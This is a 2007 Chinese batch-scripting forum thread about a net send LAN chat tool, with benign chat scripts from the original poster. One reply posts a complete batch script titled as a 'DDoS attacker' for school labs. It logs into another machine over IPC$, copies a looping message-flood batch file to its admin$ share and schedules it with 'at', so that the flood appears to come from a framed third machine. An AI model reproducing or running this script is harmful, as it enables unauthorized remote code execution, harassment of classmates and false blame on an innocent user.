中国DOS联盟

@echo off title 局域网聊天工具 color 0A MODE con: COLS=54 lines=15 echo\ echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ ┃ echo ┃ 局域网聊天工具 ┃ echo ┃ ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo\ :main set /p m=请输入你将要发送的信息: echo %date% %time%: %m%>>messege.txt echo 正在发送信息，请稍等... net send 192.168.0.1 %m% goto main 我用net send写了一个局域网间互发信息的批处理文件，发送信息没有问题，同时我将自己发出去的信息记录到messege.txt文件中，我想知道如何将对方发过来的信息也加到该文本文件中作为聊天的记录呢？例外，能否在代码中加入可以互相发送文件的句子呢？我水平较低，不知道什么命令可以传送文件，高手们多帮忙！！！ [ Last edited by jellord on 2007-3-24 at 10:32 PM ]

xp 不是有自己的内网聊天工具么?

顶加无比的崇拜，我一直想写一个这样的程序！！！！ 强人！ 2楼的同志是无法体会的

系统提示：网络上找不到此消息别名。 是怎么回事啊？？

你的信使服务没有启动或是对方没有启动，在运行中依次输入net stop messenger,net start messenger,或到控制面板中开启信使的服务项目

+++++++++++++++++++++++++++++++++++++++++++++ @echo off & color f4 & title 另类Ddos单机攻击器,限三机房 echo. & echo. & echo. setlocal enabledelayedexpansion mode con cols=49 lines=5 set sta= ==========================__-_---___--____-_- for /l %%i in (1,1,45) do ( cls echo !sta:~0,%%i! ping 127.1 -n 1 >nul ) echo 对于安全考虑请输入密码...也可以联系528班王强。 echo ==========================---_-_--__-___-_-_- echo. set /p pass=请输入密码: if not "%pass%"=="gaoshou" goto cuo :start cls echo. & echo. & echo. set /p ip=(请输入要攻击的机子号，如：stu107)： if "%ip%"=="" goto start set /p ipc1=(请输入要诬蔑的机子号，如：stu109)： if "%ipc1%"=="" goto start set /p s=(请输入要对其发的话 ，如：好啊！)： if "%s%"=="" goto start net use \\%ipc1%\ipc$ ""/user:"system" if not errorlevel 1 goto start2 :start2 goto start cls echo. & echo. echo :123 > 1a.bat echo net send %ip% %s% >> 1a.bat echo goto 123 >> 1a.bat copy 1a.bat \\%ipc1%\admin$ net time \\%ipc1% echo 请输入显示出来的时间 echo 如 下午02:05 就输入 14:08 echo 在显示的时间分钟加上2~5分钟 都可以 set /p t=(请输入时间)： at \\%ipc1% %t% 1a.bat cls & echo. echo 执行成功....... net use * /del del 1a.bat pause>nul :start4 cls & echo. & echo. echo +++++++++++++++ echo 1.退出 echo 2.解除 echo +++++++++++++++ set /p js= 请输入： if "%js%"=1 goto exit if "%js%"=2 goto po goto start4 :exit exit :po taskkill /s \\%ipc1$% /f /im 1a.bat /t goto exit :cuo echo. & cls echo. echo. echo. echo ====================== echo 对不起密码输入错误 echo ====================== pause>nul ++++++++++++++++++++++++++++++++++++++++++++ 把以上保存b.bat [ Last edited by hngaoshou on 2007-3-28 at 09:01 AM ]

:cool: [swf=1,1]http://img63.imageshack.us/my.php?image=58098766zh0.swf[/swf]

给3楼放个最新修改的，试试看。 @echo off title 局域网聊天工具 color 1f MODE con: COLS=54 lines=35 echo\ echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ ┃ echo ┃ 局域网聊天工具 ┃ echo ┃ copyright by jellord ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo\ :2 echo 正在扫描局域网在线用户，请稍等... echo. echo ///////////////////////////////////////////////////// echo. setlocal enabledelayedexpansion net view|find "\\">>lan.txt for /f "usebackq tokens=2" %%i in (lan.txt) do ( ping -w 1 -n 1 %%i|find "snowwie">ping.txt for /f "tokens=2,3 delims= " %%a in (ping.txt) do echo. %%b %%a ok ) del /q lan.txt&del /q ping.txt echo. echo ///////////////////////////////////////////////////// echo 以上显示的是目前局域网内的在线用户 echo. set /p u=请选择你要发送对象的用户名或ip： :main echo. echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ qq: 重新选择发送对象 ┃ echo ┃ bb: 查看聊天记录 ┃ echo ┃ xx: 退出程序 ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo. set /p m=请作出选择或输入你将要发送的信息: if /i "%m%"=="qq" goto 2 if /i "%m%"=="xx" goto if /i "%m%"=="bb" goto 3 echo 你于%date% %time%对%u%说: %m%>>messege.txt echo. 正在发送信息，请稍等... net send %u% %m% goto main :3 start messege.txt goto main